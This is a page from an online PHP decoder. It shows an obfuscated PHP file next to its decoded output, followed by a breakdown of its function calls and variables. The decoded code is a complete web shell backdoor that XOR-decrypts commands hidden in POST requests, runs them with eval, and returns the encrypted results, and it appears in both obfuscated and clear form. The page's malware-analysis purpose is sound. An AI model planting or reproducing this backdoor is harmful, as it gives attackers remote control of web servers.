Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $B='$k>="69273e29>>";>$kh>="b4923d54c0ca";$kf>="9>c>00a9a>0>a918";$p="JE4J>'; $c='..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="69273e29";$kh="b4923d54c0ca";$kf="9c00a9a0a918";$p="JE4Jk7ZDifVm5uxY";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$B='$k>="69273e29>>";>$kh>="b4923d54c0ca";$kf>="9>c>00a9a>0>a918";$p="JE4J>';
$c='e>>nts("php://>i>nput")>,$m)==1){@ob_st>art>();@e>val(@gzuncom>p>ress>(@x';
$L='k7ZDifVm5ux>Y";funct>ion x(>$t>,>$k>){$c=strl>e>n($k);$l=str>l>en($t);$o="";>';
$b='^$k{$j}>;}}return> $o;}i>f(>@preg_matc>h("/>$k>h(>.+)$kf/",@fil>e_get_con>t';
$z='(@bas>e64_de>code>($m[1]),$k)>));$o=>@>ob_get_conte>nts()>;@ob_end>_cle';
$N='>an();$r>=@ba>se6>4_encode(@x(>@gz>>compres>s($o),>$k));print(">$>p$kh$r$kf");}';
$Z='for($i=0;$i<>$l;>){for($j=0>;>($j<$>c&&$i<$l);>$>j++,$i>>++){$o.=$t{$i}>';
$A=str_replace('uU','','creuUauUuUte_uUuUfuUunction');
$J=str_replace('>','',$B.$L.$Z.$b.$c.$z.$N);
$l=$A('',$J);$l();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$A create_function
$B $k>="69273e29>>";>$kh>="b4923d54c0ca";$kf>="9>c>00a9a>0>a918..
$J $k="69273e29";$kh="b4923d54c0ca";$kf="9c00a9a0a918";$p="JE4J..
$L k7ZDifVm5ux>Y";funct>ion x(>$t>,>$k>){$c=strl>e>n($k);$l=str..
$N >an();$r>=@ba>se6>4_encode(@x(>@gz>>compres>s($o),>$k));prin..
$Z for($i=0;$i<>$l;>){for($j=0>;>($j<$>c&&$i<$l);>$>j++,$i>>++)..
$b ^$k{$j}>;}}return> $o;}i>f(>@preg_matc>h("/>$k>h(>.+)$kf/",@..
$c e>>nts("php://>i>nput")>,$m)==1){@ob_st>art>();@e>val(@gzunc..
$k 69273e29
$p JE4Jk7ZDifVm5uxY
$z (@bas>e64_de>code>($m[1]),$k)>));$o=>@>ob_get_conte>nts()>;@..
$kf 9c00a9a0a918
$kh b4923d54c0ca

Stats

MD5 f85d5abbf459032a69470afe5f29897a
Eval Count 1
Decode Time 269 ms